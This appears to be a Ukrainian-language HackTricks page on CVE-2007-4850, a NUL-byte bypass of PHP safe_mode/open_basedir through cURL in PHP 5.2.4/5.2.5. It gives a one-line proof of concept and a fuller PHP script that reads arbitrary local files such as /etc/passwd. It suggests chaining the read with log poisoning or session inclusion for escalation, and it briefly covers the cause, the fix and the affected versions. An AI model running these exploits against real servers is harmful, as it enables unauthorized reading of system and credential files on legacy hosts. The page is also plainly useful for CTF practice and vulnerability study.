PHP 5.2.4 та 5.2.5 PHP cURL
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Ця сторінка описує застарілий, але досі корисний у CTFs та локальних застарілих інсталяціях трюк для bypass перевірок PHP safe_mode/open_basedir із використанням розширення cURL у певних збірках PHP 5.2.x.
- Вразливі: PHP 5.2.4 та 5.2.5 з увімкненим ext/curl.
- Наслідки: Читання довільних локальних файлів попри обмеження safe_mode або open_basedir (немає прямого виконання коду).
- ID: CVE-2007-4850.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
Однорядковий PoC
Якщо safe_mode або open_basedir активні, а cURL увімкнено, наступне поверне вміст поточного скрипту:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Більш детальний PoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Примітки:
- Використовуйте подвійні лапки або chr(0) для вставки справжнього NUL-байта. Процентне кодування (%00) не буде надійно працювати.
- Це примітив для читання файлів. За можливості комбінуйте з іншими примітивами (log poisoning, session file inclusion тощо) для подальшого ескалації.
Чому це працює (коротко)
Уразливість полягає в тому, як PHP 5.2.4/5.2.5 виконував перевірки safe_mode/open_basedir для file:// URL в ext/curl. Перевірка розбирала URL і валідовувала компонент шляху, але через обробку NUL-байтів валідатор перевіряв інший рядок, ніж той, який фактично використовував libcurl. На практиці валідатор міг дозволити шлях після NUL, тоді як libcurl використовував частину до NUL як контейнер URL, що дозволяло обхід і призводило до читання файлу, розташованого після NUL-байта. Деталі — див. оригінальний аналіз та уражений макрос у curl/interface.c. [CVE-2007-4850].
Обмеження та виправлення
- Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
- Only affects very old PHP deployments; safe_mode was removed in PHP 5.4 and modern builds do not exhibit this behavior.
Див. також
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
Посилання
- Запис Ubuntu CVE з вказівками щодо патчів та ураженими версіями: https://ubuntu.com/security/CVE-2007-4850
- Технічний розбір з контекстом коду (cxsecurity): http://cxsecurity.com/issue/WLB-2008010060
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

